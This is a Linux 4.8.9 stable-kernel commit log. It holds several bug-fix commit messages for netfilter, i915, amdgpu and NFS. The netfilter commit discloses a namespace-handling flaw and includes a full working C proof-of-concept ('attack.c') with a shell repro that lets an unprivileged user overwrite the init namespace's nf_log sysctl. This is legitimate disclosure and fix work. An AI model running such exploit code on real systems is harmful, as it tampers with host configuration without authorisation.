1. 21 Nov, 2016 34 commits
  2. 18 Nov, 2016 6 commits
    • Greg Kroah-Hartman's avatar
      Linux 4.8.9 · 87657732
      Greg Kroah-Hartman authored
      87657732
    • Jann Horn's avatar
      netfilter: fix namespace handling in nf_log_proc_dostring · 07d00beb
      Jann Horn authored
      commit dbb5918c upstream.
      
      nf_log_proc_dostring() used current's network namespace instead of the one
      corresponding to the sysctl file the write was performed on. Because the
      permission check happens at open time and the nf_log files in namespaces
      are accessible for the namespace owner, this can be abused by an
      unprivileged user to effectively write to the init namespace's nf_log
      sysctls.
      
      Stash the "struct net *" in extra2 - data and extra1 are already used.
      
      Repro code:
      
      #define _GNU_SOURCE
      #include <stdlib.h>
      #include <sched.h>
      #include <err.h>
      #include <sys/mount.h>
      #include <sys/types.h>
      #include <sys/wait.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <string.h>
      #include <stdio.h>
      
      char child_stack[1000000];
      
      uid_t outer_uid;
      gid_t outer_gid;
      int stolen_fd = -1;
      
      void writefile(char *path, char *buf) {
              int fd = open(path, O_WRONLY);
              if (fd == -1)
                      err(1, "unable to open thing");
              if (write(fd, buf, strlen(buf)) != strlen(buf))
                      err(1, "unable to write thing");
              close(fd);
      }
      
      int child_fn(void *p_) {
              if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                        NULL))
                      err(1, "mount");
      
              /* Yes, we need to set the maps for the net sysctls to recognize us
               * as namespace root.
               */
              char buf[1000];
              sprintf(buf, "0 %d 1\n", (int)outer_uid);
              writefile("/proc/1/uid_map", buf);
              writefile("/proc/1/setgroups", "deny");
              sprintf(buf, "0 %d 1\n", (int)outer_gid);
              writefile("/proc/1/gid_map", buf);
      
              stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
              if (stolen_fd == -1)
                      err(1, "open nf_log");
              return 0;
      }
      
      int main(void) {
              outer_uid = getuid();
              outer_gid = getgid();
      
              int child = clone(child_fn, child_stack + sizeof(child_stack),
                                CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                                |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
              if (child == -1)
                      err(1, "clone");
              int status;
              if (wait(&status) != child)
                      err(1, "wait");
              if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                      errx(1, "child exit status bad");
      
              char *data = "NONE";
              if (write(stolen_fd, data, strlen(data)) != strlen(data))
                      err(1, "write");
              return 0;
      }
      
      Repro:
      
      $ gcc -Wall -o attack attack.c -std=gnu99
      $ cat /proc/sys/net/netfilter/nf_log/2
      nf_log_ipv4
      $ ./attack
      $ cat /proc/sys/net/netfilter/nf_log/2
      NONE
      
      Because this looks like an issue with very low severity, I'm sending it to
      the public list directly.
      Signed-off-by: default avatarJann Horn <jann@thejh.net>
      Signed-off-by: default avatarPablo Neira Ayuso <pablo@netfilter.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      07d00beb
    • Imre Deak's avatar
      drm/i915: Fix mismatched INIT power domain disabling during suspend · 8ef009e0
      Imre Deak authored
      commit fd58753e upstream.
      
      Currently the display INIT power domain disabling/enabling happens in a
      mismatched way in the suspend/resume_early hooks respectively. This can
      leave display power wells incorrectly disabled in the resume hook if the
      suspend sequence is aborted for some reason resulting in the
      suspend/resume hooks getting called but the suspend_late/resume_early
      hooks being skipped. In particular this change fixes "Unclaimed read
      from register 0x1e1204" on BYT/BSW triggered from i915_drm_resume()->
      intel_pps_unlock_regs_wa() when suspending with /sys/power/pm_test set
      to devices.
      
      Fixes: 85e90679 ("drm/i915: disable power wells on suspend")
      Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
      Cc: David Weinehall <david.weinehall@intel.com>
      Signed-off-by: default avatarImre Deak <imre.deak@intel.com>
      Reviewed-by: default avatarVille Syrjälä <ville.syrjala@linux.intel.com>
      Link: http://patchwork.freedesktop.org/patch/msgid/1476358446-11621-1-git-send-email-imre.deak@intel.com
      (cherry picked from commit 4c494a57)
      Signed-off-by: default avatarJani Nikula <jani.nikula@intel.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      8ef009e0
    • Grazvydas Ignotas's avatar
      drm/amdgpu: fix a vm_flush fence leak · 88a45e5d
      Grazvydas Ignotas authored
      commit 2d7c17be upstream.
      
      Looks like .last_flush reference is left at teardown.
      Leak reported by CONFIG_SLUB_DEBUG.
      
      Fixes: 41d9eb2c ("drm/amdgpu: add a fence after the VM flush")
      Reviewed-by: default avatarChunming Zhou <david1.zhou@amd.com>
      Reviewed-by: default avatarChristian König <christian.koenig@amd.com>
      Signed-off-by: default avatarGrazvydas Ignotas <notasas@gmail.com>
      Signed-off-by: default avatarAlex Deucher <alexander.deucher@amd.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      88a45e5d
    • Grazvydas Ignotas's avatar
      drm/amdgpu: fix fence slab teardown · 25ed6e4b
      Grazvydas Ignotas authored
      commit 0f10425e upstream.
      
      To free fences, call_rcu() is used, which calls amdgpu_fence_free()
      after a grace period. During teardown, there is no guarantee all
      callbacks have finished, so amdgpu_fence_slab may be destroyed before
      all fences have been freed. If we are lucky, this results in some slab
      warnings, if not, we get a crash in one of rcu threads because callback
      is called after amdgpu has already been unloaded.
      
      Fix it with a rcu_barrier().
      
      Fixes: b4413535 ("drm/amdgpu: RCU protected amdgpu_fence_release")
      Acked-by: default avatarChunming Zhou <david1.zhou@amd.com>
      Reviewed-by: default avatarChristian König <christian.koenig@amd.com>
      Signed-off-by: default avatarGrazvydas Ignotas <notasas@gmail.com>
      Signed-off-by: default avatarAlex Deucher <alexander.deucher@amd.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      25ed6e4b
    • Arnd Bergmann's avatar
      NFSv4.1: work around -Wmaybe-uninitialized warning · de5e9aa7
      Arnd Bergmann authored
      commit 68a56400 upstream.
      
      A bugfix introduced a harmless gcc warning in nfs4_slot_seqid_in_use
      if we enable -Wmaybe-uninitialized again:
      
      fs/nfs/nfs4session.c:203:54: error: 'cur_seq' may be used uninitialized in this function [-Werror=maybe-uninitialized]
      
      gcc is not smart enough to conclude that the IS_ERR/PTR_ERR pair
      results in a nonzero return value here. Using PTR_ERR_OR_ZERO()
      instead makes this clear to the compiler.
      
      The warning originally did not appear in v4.8 as it was globally
      disabled, but the bugfix that introduced the warning got backported
      to stable kernels which again enable it, and this is now the only
      warning in the v4.7 builds.
      
      Fixes: e09c978a ("NFSv4.1: Fix Oopsable condition in server callback races")
      Signed-off-by: default avatarArnd Bergmann <arnd@arndb.de>
      Cc: Trond Myklebust <trond.myklebust@primarydata.com>
      Signed-off-by: default avatarAnna Schumaker <Anna.Schumaker@Netapp.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      de5e9aa7